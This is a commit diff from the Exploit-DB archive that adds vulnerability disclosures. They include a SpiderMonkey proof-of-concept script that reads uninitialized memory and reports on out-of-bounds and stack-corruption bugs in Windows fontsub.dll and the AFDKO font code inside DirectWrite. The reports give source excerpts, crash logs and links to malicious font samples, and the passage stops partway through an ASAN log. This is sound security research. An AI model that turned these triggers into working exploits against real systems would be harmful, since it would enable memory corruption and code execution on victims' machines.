DB: 2019-07-11
20 changes to exploits/shellcodes Microsoft Windows - Font Subsetting DLL Heap-Based Out-of-Bounds Read in MergeFonts Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the _post_ Table Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings
This commit is contained in:
parent
894b9e59aa
commit
c4e67ef73c
21 changed files with 3939 additions and 0 deletions
82
exploits/multiple/dos/47085.js
Normal file
82
exploits/multiple/dos/47085.js
Normal file
|
@ -0,0 +1,82 @@
|
|||
/*
|
||||
For constructors, Spidermonkey implements a "definite property analysis" [1] to compute which properties will definitely exist on the constructed objects. Spidermonkey then directly allocates the constructed objects with the final Shape. As such, at the entrypoint of the constructor the constructed objects will already "look like" they have all the properties that are only installed throughout the constructor. This mechanism e.g. makes it possible to omit some Shape updates in JITed code. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 for another short explanation of this mechanism.
|
||||
|
||||
The definite property analysis must ensure that "predefining" the properties in such a way will not be visible to the running script. In particular, it can only mark properties as definite if they aren't read or otherwise accessed before the assignment.
|
||||
|
||||
In the following JavaScript program, discovered through fuzzing and then manually modified, Spidermonkey appears to incorrectly handle such a scenario:
|
||||
*/
|
||||
|
||||
l = undefined;
|
||||
|
||||
function v10() {
|
||||
let v15 = 0;
|
||||
try {
|
||||
const v16 = v15.foobar();
|
||||
} catch(v17) {
|
||||
l = this.uninitialized;
|
||||
}
|
||||
this.uninitialized = 1337;
|
||||
}
|
||||
|
||||
for (let v36 = 0; v36 < 100; v36++) {
|
||||
const v38 = new v10();
|
||||
if (l !== undefined) {
|
||||
console.log("Success: 0x" + l.toString(16));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
When run on a local Spidermonkey built from the beta branch or in Firefox 66.0.3 with `javascript.options.unboxed_objects` set to true in about:config, it will eventually output something like:
|
||||
|
||||
Success: 0x2d2d2d2d
|
||||
|
||||
Here, the definite property analysis concluded that .uninitialized is definitely assigned to the constructed objects and not accessed before it is assigned (which is wrong). In particular, it seems that the catch block is entirely ignored by the analysis as it is not present in the Ion graph representation of v10 on which the analysis is performed. As such, when reading .uninitialized in the catch block, uninitialized memory (which seems to be initialized with 0x2d in debug builds) is read from `this` and later printed to stdout. If the line `this.uninitialized = 1337;` is modified to instead assign a double value (e.g. `this.uninitialized = 13.37;`), then an assertion failure can be observed:
|
||||
|
||||
Assertion failure: isDouble(), at js/src/build_DBG.OBJ/dist/include/js/Value.h:450
|
||||
|
||||
As unboxed properties can also store JSObject pointers, this bug can likely be turned into memory corruption as well. However, since this requires unboxed object, which have recently been disabled by default and appear to be fully removed soon, it likely only affects non-standard configurations of FireFox. If unboxed objects are disabled (e.g. through --no-unboxed-objects), then the analysis will still be incorrect and determine that .uninitialized can be "predefined". This can be observed by changing `l = this.uninitialized;` to `l = this.hasOwnProperty('uninitialized');` which will incorrectly return true. In that case, the property slots seem to be initialized with `undefined` though, so no memory safety violation occurs. However, I have not verified that they will always be initialized in that way. Furthermore, it might be possible to confuse property type inference in that case, but I have not attempted that.
|
||||
|
||||
|
||||
Below is the original sample triggered by fuzzilli. It ended up reading the property by spreading |this|.
|
||||
|
||||
// Run with --no-threads --ion-warmup-threshold=100
|
||||
function main() {
|
||||
const v3 = Object != Object;
|
||||
let v4 = v3;
|
||||
const v5 = typeof undefined;
|
||||
const v7 = v5 === "undefined";
|
||||
const v9 = Array();
|
||||
function v10(v11,v12) {
|
||||
let v15 = 0;
|
||||
try {
|
||||
const v16 = v15.race();
|
||||
} catch(v17) {
|
||||
for (let v21 = 0; v21 < 7; v21++) {
|
||||
let v24 = 0;
|
||||
while (v24 < 256) {
|
||||
const v25 = v24 + 1;
|
||||
v24 = v25;
|
||||
}
|
||||
const v26 = Array == v21;
|
||||
const v27 = {trimStart:v4,seal:v10,...v26,...v9,...v26,...v26,...this,...v7};
|
||||
}
|
||||
}
|
||||
for (let v30 = 0; v30 < 9; v30++) {
|
||||
}
|
||||
const v31 = v4 + 1;
|
||||
this.E = v31;
|
||||
}
|
||||
const v32 = v10();
|
||||
for (let v36 = 0; v36 < 5; v36++) {
|
||||
const v38 = new v10();
|
||||
let v39 = Object;
|
||||
const v41 = Object();
|
||||
const v42 = v41.getOwnPropertyDescriptors;
|
||||
let v43 = v42;
|
||||
const v44 = {LN10:v42,unshift:Object,isFinite:Object,test:v41,...v43,...v39,...v41};
|
||||
}
|
||||
}
|
||||
main();
|
||||
gc();
|
||||
*/
|
72
exploits/windows/dos/47084.txt
Normal file
72
exploits/windows/dos/47084.txt
Normal file
|
@ -0,0 +1,72 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.
|
||||
|
||||
The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
We have encountered the following crash in fontsub!MergeFonts:
|
||||
|
||||
--- cut ---
|
||||
(5f7c.29fc): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
FONTSUB!MergeFonts+0x774:
|
||||
00007fff`aa53b214 413944cd00 cmp dword ptr [r13+rcx*8],eax ds:0000018a`014e8000=????????
|
||||
|
||||
0:000> ? r13
|
||||
Evaluate expression: 1692239036224 = 0000018a`014e7f40
|
||||
|
||||
0:000> ? rcx
|
||||
Evaluate expression: 24 = 00000000`00000018
|
||||
|
||||
0:000> ? eax
|
||||
Evaluate expression: 1191239935 = 00000000`4700e0ff
|
||||
|
||||
0:000> dd r13 r13+18*8-1
|
||||
0000018a`014e7f40 68656164 c18e145a 000000cc 00000036
|
||||
0000018a`014e7f50 68686561 0bde01ea 00000104 00000024
|
||||
0000018a`014e7f60 6d617870 0666d833 00000128 00000020
|
||||
0000018a`014e7f70 686d7478 4872344e 00000148 0000016a
|
||||
0000018a`014e7f80 636d6170 4079c39a 000002b4 00000996
|
||||
0000018a`014e7f90 676c7966 4ec7e46c 00000c4c 00009e8c
|
||||
0000018a`014e7fa0 6c6f6361 a4f67e41 0000aad8 00000166
|
||||
0000018a`014e7fb0 45424454 fe7d185f 0000b148 00000145
|
||||
0000018a`014e7fc0 45424c43 1babe979 0000ac40 00000508
|
||||
0000018a`014e7fd0 62646174 fe7d185f 0000b798 00000145
|
||||
0000018a`014e7fe0 626c6f63 1babe979 0000b290 00000508
|
||||
0000018a`014e7ff0 64747466 74f237b6 0000b8e0 00000176
|
||||
|
||||
0:000> !heap -p -a r13
|
||||
address 0000018a014e7f40 found in
|
||||
_DPH_HEAP_ROOT @ 18a01001000
|
||||
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
|
||||
18a0100f068: 18a014e7f40 c0 - 18a014e7000 2000
|
||||
unknown!printable
|
||||
00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
|
||||
00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
|
||||
00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
|
||||
00007fffb4efbe42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
|
||||
00007fffcca398f0 msvcrt!malloc+0x0000000000000070
|
||||
00007fffaa53fd1e FONTSUB!Mem_Alloc+0x0000000000000012
|
||||
00007fffaa53abbd FONTSUB!MergeFonts+0x000000000000011d
|
||||
00007fffaa53baac FONTSUB!MergeDeltaTTF+0x00000000000003ec
|
||||
00007fffaa5314b2 FONTSUB!MergeFontPackage+0x0000000000000132
|
||||
[...]
|
||||
|
||||
0:000> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000079`dc4fd910 00007fff`aa53baac FONTSUB!MergeFonts+0x774
|
||||
01 00000079`dc4fdac0 00007fff`aa5314b2 FONTSUB!MergeDeltaTTF+0x3ec
|
||||
02 00000079`dc4fdc00 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
The root cause of the crash seems to be an out-of-bounds access to an array storing SFNT table headers.
|
||||
|
||||
The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47084.zip
|
150
exploits/windows/dos/47086.txt
Normal file
150
exploits/windows/dos/47086.txt
Normal file
|
@ -0,0 +1,150 @@
|
|||
----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index:
|
||||
|
||||
--- cut ---
|
||||
84 int cubeStackDepth;
|
||||
85 float transformMatrix[6];
|
||||
86 struct /* Stem hints */
|
||||
87 {
|
||||
88 float start_x; /* Path x-coord at start of Cube library element processing */
|
||||
89 float start_y; /* Path y-coord at start of Cube library element processing */
|
||||
90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */
|
||||
91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */
|
||||
92 int nMasters;
|
||||
93 int leIndex;
|
||||
94 int composeOpCnt;
|
||||
95 float composeOpArray[TX_MAX_OP_STACK_CUBE];
|
||||
96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */
|
||||
97 } cube[CUBE_LE_STACKDEPTH];
|
||||
--- cut ---
|
||||
|
||||
The CUBE_LE_STACKDEPTH constant is defined in c/public/lib/resource/txops.h as:
|
||||
|
||||
--- cut ---
|
||||
193 #define CUBE_LE_STACKDEPTH 6
|
||||
--- cut ---
|
||||
|
||||
The "cubeStackDepth" index is incremented in t2Decode() (c/public/lib/source/t2cstr/t2cstr.c), in the handling of the tx_compose operation (number 2):
|
||||
|
||||
--- cut ---
|
||||
1318 case tx_compose:
|
||||
[...]
|
||||
1365 h->cubeStackDepth++;
|
||||
1366 /* copy compose ops to h->cubeOpArray */
|
||||
1367 h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt;
|
||||
1368 while (h->stack.cnt-- > 0)
|
||||
1369 h->cube[h->cubeStackDepth].composeOpArray[h->stack.cnt] = h->stack.array[h->stack.cnt];
|
||||
1370 h->stack.cnt = 0;
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
However there is no upper bound check of the value of the field, so by invoking the tx_compose operation several times in a row, it is possible to set it out of bounds. As user-controlled reads and writes can be performed on h->cube[h->cubeStackDepth], this may lead to non-continuous memory corruption and remote code execution. Various members of the _t2cCtx structure make a good target for overwriting, including the interpreter stack index/limit, the cff2/glyph/mem callback pointers etc. Furthermore, the _t2cCtx object itself is declared in the stack frame of the t2cParse() function, so stack frame pointers, return addresses and other control flow information can be corrupted through this vulnerability as well.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file triggers the bug upon decoding the instruction stream for letter "A". It calls the only global subroutine (index 0), which then indefinitely, recursively invokes itself through the tx_compose operator, each time incrementing h->cubeStackDepth by one. After several dozen iterations the function reaches the bottom of the stack and crashes with SIGSEGV / ACCESS_VIOLATION while accessing an invalid memory address.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A crash log from the "tx" tool being part of AFDKO, run as ./tx -cff <path to font file>:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x000000000045deaa in t2Decode (h=0x7ffffff60188, offset=19147) at ../../../../../source/t2cstr/t2cstr.c:1367
|
||||
1367 h->cube[h->cubeStackDepth].composeOpCnt = h->stack.cnt;
|
||||
(gdb) print h->cubeStackDepth
|
||||
$1 = 69
|
||||
(gdb) print h->cube[h->cubeStackDepth]
|
||||
Cannot access memory at address 0x7ffffffff488
|
||||
(gdb) print h->cube[h->cubeStackDepth].composeOpCnt
|
||||
Cannot access memory at address 0x7ffffffff4a0
|
||||
(gdb) x/10i $rip
|
||||
=> 0x45deaa <t2Decode+1130>: mov %ecx,0x18(%rax)
|
||||
0x45dead <t2Decode+1133>: mov -0x18(%rbp),%rax
|
||||
0x45deb1 <t2Decode+1137>: mov 0x8(%rax),%rcx
|
||||
0x45deb5 <t2Decode+1141>: mov %rcx,%rdx
|
||||
0x45deb8 <t2Decode+1144>: add $0xffffffffffffffff,%rdx
|
||||
0x45debc <t2Decode+1148>: mov %rdx,0x8(%rax)
|
||||
0x45dec0 <t2Decode+1152>: cmp $0x0,%rcx
|
||||
0x45dec4 <t2Decode+1156>: jle 0x45df0e <t2Decode+1230>
|
||||
0x45deca <t2Decode+1162>: mov -0x18(%rbp),%rax
|
||||
0x45dece <t2Decode+1166>: mov -0x18(%rbp),%rcx
|
||||
(gdb) info reg $rax
|
||||
rax 0x7ffffffff488 140737488352392
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A crash log from the Microsoft Edge renderer process, while trying to print a webpage containing the malformed variable font:
|
||||
|
||||
--- cut ---
|
||||
(3fa8.3104): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!t2Decode+0x203:
|
||||
00007ff9`ac0f1777 89943938590000 mov dword ptr [rcx+rdi+5938h],edx ds:000000d9`a5541448=????????
|
||||
|
||||
0:038> !teb
|
||||
TEB at 000000d9a274f000
|
||||
ExceptionList: 0000000000000000
|
||||
StackBase: 000000d9a5540000
|
||||
StackLimit: 000000d9a552b000
|
||||
|
||||
0:038> ? edx
|
||||
Evaluate expression: 4 = 00000000`00000004
|
||||
0:038> ? rcx
|
||||
Evaluate expression: 64320 = 00000000`0000fb40
|
||||
0:038> ? rdi
|
||||
Evaluate expression: 934781566928 = 000000d9`a552bfd0
|
||||
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 000000d9`a552b090 00007ff9`ac0f186e DWrite!t2Decode+0x203
|
||||
01 000000d9`a552b1d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
02 000000d9`a552b310 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
03 000000d9`a552b450 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
04 000000d9`a552b590 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
05 000000d9`a552b6d0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
06 000000d9`a552b810 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
07 000000d9`a552b950 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
08 000000d9`a552ba90 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
09 000000d9`a552bbd0 00007ff9`ac0f186e DWrite!t2Decode+0x2fa
|
||||
0a 000000d9`a552bd10 00007ff9`ac0f1eba DWrite!t2Decode+0x2fa
|
||||
0b 000000d9`a552be50 00007ff9`ac0f4a62 DWrite!t2Decode+0x946
|
||||
0c 000000d9`a552bf90 00007ff9`ac0dc103 DWrite!t2cParse+0x28e
|
||||
0d 000000d9`a553b8f0 00007ff9`ac0de3f7 DWrite!readGlyph+0x12b
|
||||
0e 000000d9`a553b960 00007ff9`ac0d2272 DWrite!cfrIterateGlyphs+0x37
|
||||
0f 000000d9`a553b9b0 00007ff9`ac06157a DWrite!AdobeCFF2Snapshot+0x19a
|
||||
10 000000d9`a553beb0 00007ff9`ac060729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
11 000000d9`a553c090 00007ff9`ac06039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
12 000000d9`a553c2b0 00007ff9`ac045a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
13 000000d9`a553c610 00007ff9`b71161ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
14 000000d9`a553c6a0 00007ff9`b7109148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
15 000000d9`a553c7c0 00007ff9`904e50f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
16 000000d9`a553c810 00007ff9`904bfcb0 edgehtml!CDXPrintControl::Close+0x44
|
||||
17 000000d9`a553c860 00007ff9`904c47ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
18 000000d9`a553c890 00007ff9`9039b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
19 000000d9`a553c8c0 00007ff9`00000000 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47086.zip
|
230
exploits/windows/dos/47087.txt
Normal file
230
exploits/windows/dos/47087.txt
Normal file
|
@ -0,0 +1,230 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The _t2cCtx structure defined in c/public/lib/source/t2cstr/t2cstr.c contains a "cube" array and a "cubeStackDepth" index:
|
||||
|
||||
--- cut ---
|
||||
84 int cubeStackDepth;
|
||||
85 float transformMatrix[6];
|
||||
86 struct /* Stem hints */
|
||||
87 {
|
||||
88 float start_x; /* Path x-coord at start of Cube library element processing */
|
||||
89 float start_y; /* Path y-coord at start of Cube library element processing */
|
||||
90 float offset_x; /* cube offset, to add to first moveto in cube library element (LE) */
|
||||
91 float offset_y; /* cube offset, to add to first moveto in cube library element (LE) */
|
||||
92 int nMasters;
|
||||
93 int leIndex;
|
||||
94 int composeOpCnt;
|
||||
95 float composeOpArray[TX_MAX_OP_STACK_CUBE];
|
||||
96 double WV[kMaxCubeMasters]; /* Was originally just 4, to support substitution MM fonts. Note: the PFR rasterizer can support only up to 5 axes */
|
||||
97 } cube[CUBE_LE_STACKDEPTH];
|
||||
--- cut ---
|
||||
|
||||
The "cubeStackDepth" field is initially set to -1 in t2cParse():
|
||||
|
||||
--- cut ---
|
||||
2534 h.cubeStackDepth = -1;
|
||||
--- cut ---
|
||||
|
||||
The value shouldn't be used as an index if it is negative. When the tx_compose operation handler increments it to 0 or a larger value, it also sets the START_COMPOSE flag in h->flags. Most functions check the flag before using cubeStackDepth, for example:
|
||||
|
||||
--- cut ---
|
||||
529 /* Callback path move. */
|
||||
530 static void callbackMove(t2cCtx h, float dx, float dy) {
|
||||
531 int flags;
|
||||
532 float x, y;
|
||||
533
|
||||
534 if (h->flags & START_COMPOSE) {
|
||||
535 /* We can tell that this is the first move-to of a flattened compare operator
|
||||
536 with the START_COMPOSE flag.
|
||||
537 dx and dy are the initial moveto values in the LE, usually 0 or a small value.
|
||||
538 h->x and h->y are the current absolute position of the last point in the last path.
|
||||
539 h->le_start.x,y are the LE absolute start position.
|
||||
540 */
|
||||
541 x = dx + h->cube[h->cubeStackDepth].offset_x;
|
||||
542 y = dy + h->cube[h->cubeStackDepth].offset_y;
|
||||
543 h->cube[h->cubeStackDepth].offset_x = 0;
|
||||
544 h->cube[h->cubeStackDepth].offset_y = 0;
|
||||
--- cut ---
|
||||
|
||||
However, neither the do_set_weight_vector_cube() nor do_blend_cube() functions respect this requirement, and instead assume that cubeStackDepth is greater than 0 when they execute. Below are the first few lines of do_blend_cube():
|
||||
|
||||
--- cut ---
|
||||
1054 /* Execute "blend" op. Return 0 on success else error code. */
|
||||
1055 static int do_blend_cube(t2cCtx h, int nBlends) {
|
||||
1056 int i;
|
||||
1057 int nElements = nBlends * h->cube[h->cubeStackDepth].nMasters;
|
||||
1058 int iBase = h->stack.cnt - nElements;
|
||||
1059 int k = iBase + nBlends;
|
||||
1060
|
||||
1061 if (h->cube[h->cubeStackDepth].nMasters <= 1)
|
||||
1062 return t2cErrInvalidWV;
|
||||
--- cut ---
|
||||
|
||||
The two affected functions subsequently read from and write to the out-of-bounds cube object at h->cube[-1]. In x64 builds of AFDKO, _t2cCtx.cube[-1] overlaps with the _t2cCtx.stack.blendArgs[92] structure, which is uninitialized in typical scenarios, but may also be user-controlled. This may lead to disclosure of uninitialized stack memory, or stack-based memory corruption and remote code execution.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The two proof of concept files trigger crashes in the standard "tx" tool compiled with AddressSanitizer and a slightly modified version of the afdko/c/public/lib/source/t2cstr/t2cstr.c file. Our patch adds ASAN redzones in between the fields of the t2cCtx structure, in order to make intra-object out-of-bounds accesses more visible. The PoCs invoke the do_set_weight_vector_cube() and do_blend_cube() functions without first executing a tx_compose instruction. The offending instruction streams are found in the CharStrings for letter "A".
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
Below, we present crash logs from the 64-bit "tx" tool compiled with ASAN and the redzone patch, run as ./tx -cff <path to font file>.
|
||||
|
||||
For do_blend_cube.otf:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==96052==ERROR: AddressSanitizer: use-after-poison on address 0x7ffea1a88890 at pc 0x00000069e6e2 bp 0x7ffea1a46bb0 sp 0x7ffea1a46ba8
|
||||
READ of size 4 at 0x7ffea1a88890 thread T0
|
||||
#0 0x69e6e1 in do_blend_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58
|
||||
#1 0x6855fd in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1857:38
|
||||
#2 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
|
||||
#3 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
|
||||
#4 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
|
||||
#5 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
|
||||
#6 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#7 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#8 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#9 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#10 0x7fa93072e2b0 in __libc_start_main
|
||||
#11 0x41e5b9 in _start
|
||||
|
||||
Address 0x7ffea1a88890 is located in stack of thread T0 at offset 241616 in frame
|
||||
#0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523
|
||||
|
||||
This frame has 2 object(s):
|
||||
[32, 757896) 'h' (line 2524) <== Memory access at offset 241616 is inside this variable
|
||||
[758160, 758376) 'Exception' (line 2586)
|
||||
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
|
||||
(longjmp and C++ exceptions *are* supported)
|
||||
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1057:58 in do_blend_cube
|
||||
Shadow bytes around the buggy address:
|
||||
0x1000543490c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000543490d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000543490e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x1000543490f0: f7 f7 00 f7 f7 f7 f7 00 00 00 00 00 00 00 00 00
|
||||
0x100054349100: 00 00 00 00 00 00 00 f7 f7 f7 f7 00 00 00 00 00
|
||||
=>0x100054349110: f7 f7[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x100054349120: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
0x100054349130: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
|
||||
